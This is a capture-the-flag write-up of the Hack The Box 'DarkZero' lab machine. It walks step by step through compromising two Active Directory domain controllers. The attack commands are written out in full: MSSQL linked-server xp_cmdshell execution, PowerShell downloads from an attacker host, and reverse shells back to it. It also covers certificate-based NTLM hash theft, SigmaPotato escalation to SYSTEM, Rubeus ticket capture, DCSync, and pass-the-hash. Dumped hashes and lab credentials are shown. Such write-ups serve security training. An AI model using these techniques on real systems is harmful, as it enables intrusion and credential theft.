DarkZero WriteUp

Table of Contents

DarkZero WriteUp

DarkZero is a πŸŸ₯ Hard difficulty machine on the Hack The Box platform that simulates an enterprise Active Directory environment with two separate domains, multihoming, and advanced attack vectors. The ultimate goal is to fully compromise both Domain Controllers.

At the start, we are given initial credentials: πŸ”‘ john.w:RFulUtONCOL!

πŸ—ΊοΈ Attack Chain

Before diving into the details, here is the full attack chain at a glance:

john.w credentials
      β”‚
      β–Ό
MSSQL DC01 (guest) ──linked server──► MSSQL DC02 (sysadmin)
      β”‚
      β–Ό
xp_cmdshell β–Ί Shell as svc_sql on DC02 (172.16.20.2)
      β”‚
      β–Ό
Ligolo-MP β–Ί Access to internal network 172.16.20.0/24
      β”‚
      β–Ό
AD CS (Certify) β–Ί NTLM hash of svc_sql β–Ί Password change
      β”‚
      β–Ό
RunasCs (LogonType 5) β–Ί SeImpersonatePrivilege
      β”‚
      β–Ό
SigmaPotato β–Ί NT AUTHORITY\SYSTEM on DC02
      β”‚
      β–Ό
Rubeus monitor + xp_dirtree β–Ί DC01$ TGT
      β”‚
      β–Ό
Pass-the-Ticket β–Ί secretsdump β–Ί DC01 Administrator hash
      β”‚
      β–Ό
evil-winrm β–Ί Administrator on DC01 🏴

πŸ” Reconnaissance

Port Scanning

We perform reconnaissance in two phases: first we quickly discover open ports, then we run detection scripts against them.

Phase 1 β€” Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv darkzero.htb

Phase 2 β€” UDP scan of the top 200 ports:

sudo nmap -sU --top-ports 200 -Pn --open --min-rate 1000 -oA udp -vvv darkzero.htb

Phase 3 β€” Version detection and scripts on the discovered ports:

# Extract ports from the gnmap file
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt

# Run the full scan
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv darkzero.htb

# Export results to HTML (optional, very useful for reports)
xsltproc -o nmap.html ~/.nmap/nmap-bootstrap.xsl scan.xml

πŸ’‘ Tip: Splitting the scan into phases saves a lot of time. The fast discovery with --min-rate 5000 takes seconds, and then we only run the heavy scan against the ports that are actually open.

The most relevant ports we found:

PortServiceDetail
53DNSSimple DNS Plus
88KerberosDomain Controller confirmed
389/636LDAP/LDAPSDomain darkzero.htb
1433MSSQLMicrosoft SQL Server 2022
5985WinRMRemote PowerShell access

Credential Validation and Hosts File Generation

We verify the credentials are valid and automatically generate the entries for /etc/hosts:

# Validate credentials
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'

# Auto-generate hosts file
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-hosts-file hosts_file

# Append to /etc/hosts in sorted order
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts

🌐 DNS Enumeration β€” Split-Horizon DNS

This is the most important finding in the reconnaissance phase. We query DC01’s DNS server for all records of the domain:

dig @dc01.darkzero.htb ANY darkzero.htb
;; ANSWER SECTION:
darkzero.htb.   600   IN   A   172.16.20.1      ← INTERNAL network
darkzero.htb.   600   IN   A   10.129.13.169    ← External network (ours)
darkzero.htb.   3600  IN   NS  dc01.darkzero.htb.

⚠️ Split-Horizon DNS / Multihoming detected: The response returns TWO A records for darkzero.htb. The IP 10.129.13.169 is reachable from our network, but 172.16.20.1 is only reachable from the internal network. This confirms that DC01 is multihomed and that a second subnet 172.16.20.0/24 exists where DC02.darkzero.ext lives. We will need pivoting to get there.

πŸ’‰ Initial Access β€” MSSQL Linked Server Abuse

Connecting to DC01’s MSSQL

On port 1433 we find a Microsoft SQL Server 2022. We connect using john.w’s credentials:

impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@dc01.darkzero.htb' -windows-auth
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
SQL (darkzero\john.w  guest@master)>

We are guest on DC01 β€” not enough privileges to enable xp_cmdshell directly. However, enumerating the configured linked servers:

SQL> enum_links
SRV_NAME            SRV_DATASOURCE      Local Login        Remote Login
-----------------   -----------------   ---------------    ------------
DC02.darkzero.ext   DC02.darkzero.ext   darkzero\john.w    dc01_sql_svc

πŸ”‘ DC01 has a linked server configured pointing to DC02.darkzero.ext. Our user john.w maps to the login dc01_sql_svc on DC02. We verify whether that login is sysadmin:

SQL> EXEC('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
-   -
1   1    ← We are sysadmin on DC02!

Enabling xp_cmdshell on DC02 via Linked Server

We leverage dc01_sql_svc’s privileges to enable OS command execution:

-- Enable advanced options
SQL> EXEC('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]

-- Enable xp_cmdshell
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]

-- Verify RCE
SQL> EXEC('EXEC xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output
--------------------
darkzero-ext\svc_sql

βœ… RCE confirmed on DC02 as darkzero-ext\svc_sql.

🐚 Reverse Shell to DC02

We start our HTTP server with goshs and a listener with penelope:

# HTTP server to serve files
goshs -d ~/http -p 80 -i 0.0.0.0

# Listener for the reverse shell
penelope -p 8443

We generate a PowerShell payload on revshell.com (PowerShell Base64) and execute it via xp_cmdshell:

SQL> EXEC('EXEC xp_cmdshell ''powershell -e <BASE64_PAYLOAD>''') AT [DC02.darkzero.ext]

βœ… Shell obtained on DC02 (172.16.20.2). We are inside the internal network 172.16.20.0/24.

PS C:\Windows\system32> whoami
darkzero-ext\svc_sql
PS C:\Windows\system32> hostname
DC02
PS C:\Windows\system32> ipconfig

   IPv4 Address: 172.16.20.2
   Subnet Mask:  255.255.255.0
   Default Gateway: 172.16.20.1

πŸ”€ Pivoting with Ligolo-MP

To be able to reach the 172.16.20.0/24 network with all our local tools (certipy, impacket, etc.) we set up a tunnel using Ligolo-MP. It is more stable and versatile than a simple SOCKS proxy.

On the attacker β€” Start the server:

sudo nano /etc/systemd/system/ligolomp.service
sudo systemctl start ligolomp.service
ligolomp_client

On DC02 β€” Download and run the agent:

powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"

In the Ligolo-MP console β€” Start the relay and add the route to the internal network 172.16.20.0/24.

βœ… From this point on, our attacker machine can reach 172.16.20.2 directly. Essential for the next steps.

πŸ§—β€β™‚οΈ Privilege Escalation on DC02

Step 1 β€” AD CS with Certify: Obtain svc_sql’s NTLM Hash

We upload Certify.exe and search for vulnerable certificate templates:

# Upload Certify.exe
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Certify.exe' -OutFile 'C:\Windows\Temp\Certify.exe'"
# Look for vulnerabilities
C:\Windows\Temp\Certify.exe find /vulnerable

Although find /vulnerable does not show directly exploitable templates (no ESC1, ESC2, etc.), we can request a certificate for the current user using the standard User template:

C:\Windows\Temp\Certify.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
[*] Current user context    : darkzero-ext\svc_sql
[*] Template                : User
[*] CA Response             : The certificate had been issued.

-----BEGIN RSA PRIVATE KEY-----
MIIEog[...]qRg==
-----END CERTIFICATE-----

We copy the entire block from -----BEGIN RSA PRIVATE KEY----- to -----END CERTIFICATE----- and save it as cert.pem on our machine.

Convert to PFX format:

# Leave the password empty (press Enter)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/cert.pfx

Sync time with DC02 (critical for Kerberos) and authenticate with the certificate:

# Add DC02 to /etc/hosts
netexec smb 172.16.20.2 --generate-hosts-file hosts_file_ext
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file_ext; } | sudo tee -a /etc/hosts

# Sync time β€” VERY IMPORTANT, Kerberos fails with more than 5 min skew
ntpdate 172.16.20.2

# Authenticate with the certificate and retrieve the NTLM hash
certipy-ad auth -pfx cert.pfx -u svc_sql -dc-ip 172.16.20.2
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f

🎯 NTLM hash for svc_sql obtained: 816ccb849956b531db139346751db65f

Step 2 β€” Change svc_sql’s Password

With the NTLM hash we can change the password without knowing the original using impacket-changepasswd:

impacket-changepasswd svc_sql@darkzero.ext -hashes ':816ccb849956b531db139346751db65f' -newpass '1Qwerty!' -dc-ip 172.16.20.2

βœ… svc_sql password changed to 1Qwerty!

Step 3 β€” Service Logon (LogonType 5) with RunasCs: Obtain SeImpersonatePrivilege

❓ Why do we need this?

Our current shell is a Network Logon (LogonType 3). This logon type generates a restricted token that does not include SeImpersonatePrivilege, even if the account has it assigned in the local security policy.

To obtain the privilege we need a Service Logon (LogonType 5), which is the type of token Windows creates when the SCM (Service Control Manager) starts a service. This token includes all the account’s privileges, including SeImpersonatePrivilege assigned to the NT AUTHORITY\SERVICE group.

We use RunasCs.exe with the -l 5 flag to force the correct logon type:

# Upload RunasCs
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"

# Listener on the attacker
penelope -p 8444

# Force Service Logon (LogonType 5) β†’ -l 5 is the key
C:\Windows\Temp\RunasCs.exe svc_sql '1Qwerty!' powershell -l 5 -b -r 10.10.15.223:8444

In the new shell we verify:

whoami /priv
Privilege Name                Description                               State
=============================  ========================================  ========
SeImpersonatePrivilege         Impersonate a client after authentication  Enabled  βœ…

βœ… SeImpersonatePrivilege active. Ready for the Potato attack.

Step 4 β€” SigmaPotato: Escalate to SYSTEM

With SeImpersonatePrivilege enabled, we use SigmaPotato to impersonate the NT AUTHORITY\SYSTEM token and change the local Administrator’s password:

# Upload SigmaPotato
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/SigmaPotato.exe' -OutFile 'C:\Windows\Temp\SigmaPotato.exe'"

# Change the Administrator password as SYSTEM
C:\Windows\Temp\SigmaPotato.exe 'net user Administrator 1Qwerty!'
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Found System Token: True
[+] Creating Process via 'CreateProcessWithTokenW'
[+] Process Output:
The command completed successfully.

Now we connect as Administrator:

# Listener on attacker
penelope -p 8445

# Shell as Administrator
C:\Windows\Temp\RunasCs.exe administrator '1Qwerty!' powershell -r 10.10.15.223:8445

🚩 User Flag (DC02)

type c:\Users\Administrator\Desktop\user.txt

πŸ”„ Lateral Movement to DC01 β€” Unconstrained Delegation

With DC02 fully compromised, we need to reach DC01 (10.10.11.89). Standard post-exploitation tools (WinPEAS, etc.) reveal no direct attack paths, so we analyse the Kerberos delegation configuration.

What is Unconstrained Delegation?

🧠 Key concept: When a machine has TrustedForDelegation = True, the KDC includes a copy of the client’s TGT inside the TGS it delivers to the service. In other words, if DC01 authenticates against DC02 (which has Unconstrained Delegation), DC02 receives DC01’s TGT β€” and we can capture it.

We confirm that DC02 has Unconstrained Delegation via PowerShell:

Get-ADComputer -Identity $env:COMPUTERNAME -Properties TrustedForDelegation,TrustedToAuthForDelegation
TrustedForDelegation          : True   βœ…
TrustedToAuthForDelegation    : False

Step 1 β€” Monitor Tickets with Rubeus

We upload Rubeus to DC02 and put it in monitor mode. Rubeus will detect any new TGT that arrives on the system:

powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Rubeus.exe' -OutFile 'C:\Windows\Temp\Rubeus.exe'"
C:\Windows\Temp\Rubeus.exe monitor /interval:1 /nowrap

Step 2 β€” Force DC01 to Authenticate to DC02 with xp_dirtree

From a new terminal, we open an MSSQL session on DC01 and run xp_dirtree pointing to a non-existent share on DC02:

impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
xp_dirtree \\DC02.darkzero.ext\notexists

πŸ’‘ Why does this work? xp_dirtree forces DC01’s SQL Server process to make an SMB connection to DC02. For that connection, the process requests a TGS for cifs/DC02 from the KDC. Since DC02 has Unconstrained Delegation, the KDC includes DC01$’s TGT inside that TGS. Rubeus, running on DC02, detects and displays it.

Rubeus captures the ticket:

[*] Found new TGT:

  User      : DC01$@DARKZERO.HTB
  StartTime : 3/20/2026 5:34:10 PM
  EndTime   : 3/21/2026 3:34:10 AM
  Flags     : name_canonicalize, pre_authent, renewable, forwarded, forwardable

  Base64EncodedTicket:
    doIFjDCCBYigAwIBBaED...

Step 3 β€” Pass-the-Ticket and DCSync

We save the Base64 output to a file and process it:

# Decode the ticket
cat ticket.b64 | base64 -d > ticket.kirbi

# Convert to ccache format (for impacket)
impacket-ticketConverter ticket.kirbi dc01_administrator.ccache

# Export the ticket so Kerberos tools can use it
export KRB5CCNAME=dc01_administrator.ccache

# Verify the ticket is correctly loaded
klist

# Sync time with DC01 β€” essential
ntpdate 10.129.13.244

With DC01$’s TGT (the Domain Controller’s machine account), we have domain replication rights. We perform a DCSync to dump all NTLM hashes:

impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::

🎯 Administrator NTLM hash: 5917507bdf2ef2c2b0a869a1cba40726

Step 4 β€” Final Access to DC01

With the Administrator’s hash we perform a Pass-the-Hash via WinRM:

evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726

🏴 Root Flag (DC01)

type C:\Users\Administrator\Desktop\root.txt

πŸ“ Attack Chain Summary

#TechniqueToolResult
1Reconnaissancenmap, netexec, digSplit-horizon DNS β†’ network 172.16.20.0/24
2MSSQL Linked Server Abuseimpacket-mssqlclientxp_cmdshell on DC02 as svc_sql
3Reverse ShellPowerShell Base64Shell on DC02
4PivotingLigolo-MPFull access to network 172.16.20.0/24
5AD CS Certificate RequestCertify.exe, certipy-adsvc_sql NTLM hash
6Password Changeimpacket-changepasswdFull control of svc_sql
7Service Logon (LogonType 5)RunasCs.exe -l 5SeImpersonatePrivilege
8Token ImpersonationSigmaPotato.exeNT AUTHORITY\SYSTEM on DC02
9Unconstrained Delegation + RubeusRubeus monitor, xp_dirtreeDC01$ TGT captured
10Pass-the-Ticket + DCSyncimpacket-secretsdumpAdministrator NTLM hash
11Pass-the-Hashevil-winrmShell as Administrator on DC01 🏴

See you in the next challenge.